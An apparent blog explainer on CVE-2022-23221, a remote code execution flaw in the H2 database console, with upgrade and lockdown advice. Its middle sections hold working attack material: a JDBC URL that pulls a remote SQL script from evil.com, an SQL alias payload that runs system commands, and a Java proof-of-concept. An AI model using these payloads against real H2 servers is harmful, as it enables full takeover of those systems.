The H2 Database is a popular in-memory database that’s widely used for testing and development in many Java-based applications. Unfortunately, some versions of H2’s web console had a critical vulnerability—CVE-2022-23221—that let attackers run *any code they want* on your server with a carefully crafted database connection URL. Let’s break down how it works, see real code, and explain how to stay safe.
What Is CVE-2022-23221?
CVE-2022-23221 is a remote code execution bug in the H2 Console found in versions before 2.1.210. The bug can let a remote attacker execute arbitrary code on the server that's running the H2 management console. This is especially dangerous because the console is often turned on by default in dev and test setups, and once exploited, it gives attackers full control over the system.
This is not the same as the related CVE-2021-42392 but shares a similar technique.
How Does the Attack Work?
When someone logs into the H2 console, they provide a JDBC connection URL like this:
jdbc:h2:mem:test
H2 supports a lot of optional settings you can pass in the URL. Some settings control security features like whether to allow script execution or the creation of a new database.
CVE-2022-23221 lets anyone bypass the usual security checks by using this kind of crafted URL
jdbc:h2:mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker.com/malicious.sql';
What’s happening here?
- IGNORE_UNKNOWN_SETTINGS=TRUE — Ignores unknown or invalid settings (covers up invalid additions).
- FORBID_CREATION=FALSE — Allows automatic creation of a database if it does not exist (should usually be TRUE in locked-down setups).
INIT=RUNSCRIPT FROM 'URL' — Runs a SQL script from a remote source *when connecting*.
If the server fetches and runs the script, an attacker can execute whatever SQL they provide—and in H2, that's enough to run Java code if permissions allow.
Example Exploit
Here’s a simplified example of the attack in action.
Suppose the attacker hosts a file with this content at http://evil.com/malicious.sql
CREATE ALIAS SHELL AS $$ void shell() throws java.io.IOException {
java.lang.Runtime.getRuntime().exec("calc");
}
$$;
CALL SHELL();
This creates a new function that runs any system command—in this case, it opens Calculator on Windows.
JDBC URL
jdbc:h2:mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://evil.com/malicious.sql'
Once the console connects, H2 fetches and runs the script, giving the attacker code execution.
Proof-of-Concept Code
Here’s how you can trigger the exploit (for educational purposes only! Do not use it on unauthorized systems):
import java.sql.*;
public class H2Exploit {
public static void main(String[] args) throws Exception {
// Attacker's evil.sql URL
String url = "jdbc:h2:mem:vuln;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://evil.com/malicious.sql'";
Connection conn = DriverManager.getConnection(url, "sa", "");
conn.close();
}
}
Remote load: Loads code or SQL from any URL the server can reach.
- Common in dev: H2 console is widely enabled in development and test environments, sometimes even in production by mistake.
## How to Fix/Protect
Upgrade: The official fix is to upgrade H2 to 2.1.210 or later.
- Never expose the console: Restrict network access so only localhost/developers can reach it. Don’t run it in production.
Disable dangerous options: Forbid INIT, disable script execution, and set strong credentials.
- Web app checks: If you use frameworks (Spring Boot, etc.), make sure the console is locked down or disabled by default.
References
- H2 Database CVE-2022-23221 Security Advisory
- NVD Entry for CVE-2022-23221
- Original GitHub Issue and Discussion
- Upgrade Notes (H2 Docs)
In Summary
CVE-2022-23221 is a critical bug in the H2 console that allows attackers to run any code they want—just by crafting a special database URL. Make sure you’re running H2 version 2.1.210 or newer, and never leave your H2 management console open to the internet or insecure networks. Stay updated, stay safe!
Timeline
Published on: 01/19/2022 17:15:00 UTC
Last modified on: 07/25/2022 18:21:00 UTC